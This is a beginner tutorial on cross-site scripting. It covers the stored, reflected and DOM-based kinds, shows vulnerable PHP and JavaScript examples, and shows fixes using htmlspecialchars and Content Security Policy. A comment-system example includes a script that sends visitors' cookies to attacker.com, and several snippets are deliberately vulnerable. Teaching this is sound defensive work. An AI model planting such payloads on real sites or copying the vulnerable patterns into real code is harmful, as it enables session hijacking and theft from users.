Introduction
One of the most common and dangerous vulnerabilities in web applications is XSS (Cross-Site Scripting). It allows attackers to inject malicious scripts into web pages viewed by other users.
XSS attacks can lead to serious consequences such as session hijacking, data theft, and unauthorized actions on behalf of users. Many developers unknowingly create XSS vulnerabilities by not properly handling user input.
What is XSS (Cross-Site Scripting)?
XSS (Cross-Site Scripting) is a type of security vulnerability where an attacker injects malicious scripts (usually JavaScript) into a trusted website. These scripts are then executed in the browser of other users.
Instead of attacking the server directly, XSS targets the users of the application.
Types of XSS:
1. Stored XSS
A malicious script is stored in a database and executed whenever users access the page.
2. Reflected XSS
A script is reflected from the server via URL or form input and executed immediately.
3. DOM-Based XSS
The vulnerability exists in client-side JavaScript code rather than server-side.
Why it is used (Why attackers use it)
Attackers use XSS for various malicious purposes:
1. Steal Cookies
Access user session cookies and hijack accounts.
2. Session Hijacking
Take control of user sessions.
3. Phishing Attacks
Redirect users to fake login pages.
4. Keylogging
Capture user keystrokes.
5. Website Defacement
Modify the content of a web page.
Syntax
Basic XSS Payload
<script>alert('XSS Attack');</script>
Example in Input Field
<input type="text" name="username">
If user enters:
<script>alert('Hacked');</script>
And the application displays it without sanitization, the script will execute.
Example
Vulnerable Example (PHP)
<?php
$name = $_GET['name'];
echo "Welcome " . $name;
?>
Attack URL:
http://example.com/?name=<script>alert('XSS')</script>
This will execute the script in the browser.
Secure Example using htmlspecialchars()
<?php
$name = $_GET['name'];
echo "Welcome " . htmlspecialchars($name);
?>
Now the script will be displayed as text instead of executing.
Secure Example with ENT_QUOTES
<?php
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
?>
Real-Life Example
Example: Comment System
Imagine a blog where users can post comments.
Malicious Comment:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
If the website displays this comment without sanitization:
- Every visitor’s cookie is sent to the attacker
- Attacker can hijack user sessions
Example: Search Box
User searches:
<script>alert('Hacked')</script>
If the result page shows:
echo "You searched for: " . $_GET['search'];
The script executes → XSS attack.
Example: DOM-Based XSS
<script>
var name = location.hash;
document.write(name);
</script>
URL:
http://example.com/#<script>alert('XSS')</script>
Common Mistakes
1. Not Escaping Output
Displaying raw user input directly.
2. Trusting User Input
Assuming input is safe without validation.
3. Using innerHTML in JavaScript
element.innerHTML = userInput;
4. Not Using Content Security Policy (CSP)
CSP helps prevent script execution.
5. Mixing HTML and User Data
Improper handling of dynamic content.
6. Ignoring DOM-Based XSS
Focusing only on server-side security.
Conclusion
XSS (Cross-Site Scripting) is one of the most common and dangerous web vulnerabilities that directly affects users. It allows attackers to inject malicious scripts into web pages and execute them in other users’ browsers.
However, preventing XSS is not difficult if proper practices are followed. Using functions like htmlspecialchars(), validating input, avoiding unsafe JavaScript methods, and implementing Content Security Policy can significantly reduce the risk.
Developers must always treat user input as untrusted and ensure proper output escaping. By understanding XSS and applying security best practices, you can build secure, reliable, and user-friendly web applications.